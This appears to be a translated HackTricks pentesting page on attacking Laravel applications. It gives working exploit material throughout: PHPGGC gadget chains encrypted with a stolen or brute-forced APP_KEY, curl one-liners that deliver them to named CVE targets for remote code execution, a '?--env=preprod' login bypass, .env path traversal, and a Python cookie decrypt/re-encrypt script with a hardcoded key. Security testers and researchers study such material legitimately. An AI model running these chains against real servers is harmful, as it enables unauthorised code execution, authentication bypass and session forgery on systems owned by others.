Laravel

Reading time: 10 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Laravel SQLInjection

Lees hieroor: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Enkripsie interne werking (Laravel \u003e=5.6)

Laravel gebruik AES-256-CBC (of GCM) met HMAC-integriteit onder die kap (Illuminate\\Encryption\\Encrypter). Die rou ciphertext wat uiteindelik na die kliënt gestuur word is Base64 van 'n JSON-objek soos:

json
{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) sal die plaintext standaard serialize() , terwyl decrypt($payload, $unserialize=true) sal outomaties unserialize() die gedekripteerde waarde. Daarom kan enige aanvaller wat die 32-byte geheime APP_KEY ken, 'n versleutelde PHP serialized object konstrueer en RCE verkry via magic methods (__wakeup, __destruct, …).

Minimale PoC (framework ≥9.x):

php
use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Inject die geproduseerde string in enige kwesbare decrypt() sink (route param, cookie, session, …).


laravel-crypto-killer 🧨

laravel-crypto-killer automatiseer die hele proses en voeg 'n gerieflike bruteforce modus by:

bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

Die skrip ondersteun beide CBC- en GCM-payloads deursigtig en genereer die HMAC/tag-veld weer.


Werklike kwesbare patrone

ProjectVulnerable sinkGadget chain
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)XSRF-TOKEN cookie when Passport::withCookieSerialization() is enabledLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookielaravel_session cookieLaravel/RCE15

Die eksploitasiewerksvloei is altyd:

  1. Kry of brute-force die 32-byte APP_KEY.
  2. Bou 'n gadget chain met PHPGGC (byvoorbeeld Laravel/RCE13, Laravel/RCE9 of Laravel/RCE15).
  3. Enkripteer die geserialiseerde gadget met laravel_crypto_killer.py en die herwonne APP_KEY.
  4. Lewer die ciphertext aan die kwesbare decrypt() sink (route parameter, cookie, session …) om RCE te aktiveer.

Hieronder is bondige eenreëls wat die volle aanvalspad vir elke bogenoemde werklike CVE demonstreer:

bash
# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

Omdat elke vars Laravel-antwoord minstens 1 encrypted cookie (XSRF-TOKEN and usually laravel_session), public internet scanners (Shodan, Censys, …) leak millions of ciphertexts wat offline aangeval kan word.

Belangrike bevindinge van die navorsing gepubliseer deur Synacktiv (2024-2025):

  • Datastel Julie 2024 » 580 k tokens, 3.99 % keys cracked (≈23 k)
  • Datastel Mei 2025 » 625 k tokens, 3.56 % keys cracked
  • 1 000 servers nog steeds kwesbaar vir legacy CVE-2018-15133 omdat tokens direk geserialiseerde data bevat.

  • Groot key-hergebruik – die Top-10 APP_KEYs is hard-coded defaults wat saam met kommersiële Laravel-templates gestuur word (UltimatePOS, Invoice Ninja, XPanel, …).

Die private Go-instrument nounours stoot AES-CBC/GCM bruteforce throughput na ~1.5 billion tries/s, wat volledige datastel-kraking tot <2 minute verminder.

CVE-2024-52301 – HTTP argv/env override → auth bypass

Wanneer PHP’s register_argc_argv=On (tipies op baie distros), gee PHP 'n argv array bloot vir HTTP-versoeke wat van die query string afgeleide is. Onlangse Laravel-weergawes het hierdie “CLI-like” args geparseer en --env=<value> by runtime geag. Dit laat toe om die framework-omgewing vir die huidige HTTP-versoek te omskakel net deur dit aan enige URL toe te voeg:

  • Vinnige toets:

  • Besoek https://target/?--env=local of enige string en kyk vir omgewing-afhanklike veranderinge (debug banners, footers, verbose errors). As die string gereflekteer word, werk die override.

  • Impakvoorbeeld (business logic wat op 'n spesiale env vertrou):

  • As die app takke bevat soos if (app()->environment('preprod')) { /* bypass auth */ }, kan jy autentiseer sonder geldige creds deur die login POST te stuur na:

  • POST /login?--env=preprod

  • Aantekeninge:

  • Werk per-versoek, geen persistentie.

  • Vereis register_argc_argv=On en 'n kwesbare Laravel-weergawes wat argv vir HTTP lees.

  • Nuttige primitive om meer verbose errors in “debug” envs te ontbloot of om environment-gated code paths te trigger.

  • Mitigasies:

  • Disable register_argc_argv vir PHP-FPM/Apache.

  • Upgrade Laravel om argv op HTTP-versoeke te ignoreer en verwyder enige trust-aanname wat aan app()->environment() in production routes gekoppel is.

Minimale uitbuitingsvloei (Burp):

http
POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

Laravel Truuks

Foutopsporingsmodus

As Laravel in foutopsporingsmodus is, sal jy toegang hê tot die kode en gevoelige data.
Byvoorbeeld http://127.0.0.1:8000/profiles:

Dit is gewoonlik nodig vir exploiting ander Laravel RCE CVEs.

Fingerprinting & exposed dev endpoints

Vinnige kontroles om 'n Laravel-stapel en gevaarlike dev-tooling wat in produksie blootgestel is, te identifiseer:

  • /_ignition/health-check → Ignition teenwoordig (debug-instrument wat deur CVE-2021-3129 gebruik is). As dit sonder verifikasie bereikbaar is, mag die app in debug wees of verkeerd gekonfigureer.
  • /_debugbar → Laravel Debugbar assets; dui dikwels op foutopsporingsmodus.
  • /telescope → Laravel Telescope (dev monitor). As dit publiek is, verwag omvattende inligtingsonthulling en moontlike aksies.
  • /horizon → Queue dashboard; weergawe-inligting en soms CSRF-beskermde aksies.
  • X-Powered-By, cookies XSRF-TOKEN and laravel_session, en Blade-foutbladsye help ook met fingerprinting.
bash
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

Laravel stoor die APP wat dit gebruik om die cookies en ander credentials te enkripteer in 'n lêer genaamd .env wat bereik kan word deur path traversal onder: /../.env

Laravel sal hierdie inligting ook op die debug page wys (wat verskyn wanneer Laravel 'n fout vind en dit geaktiveer is).

Deur die geheime APP_KEY van Laravel te gebruik, kan jy cookies decrypt en re-encrypt:

python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')

Laravel Deserialization RCE

Kwetsbare weergawes: 5.5.40 en 5.6.x tot en met 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)

Hier vind jy inligting oor die deserialization-kwetsbaarheid: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

Jy kan dit toets en uitbuit met behulp van https://github.com/kozmic/laravel-poc-CVE-2018-15133
Of jy kan dit ook met metasploit uitbuit: use unix/http/laravel_token_unserialize_exec

CVE-2021-3129

Nog 'n deserialization: https://github.com/ambionics/laravel-exploits

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks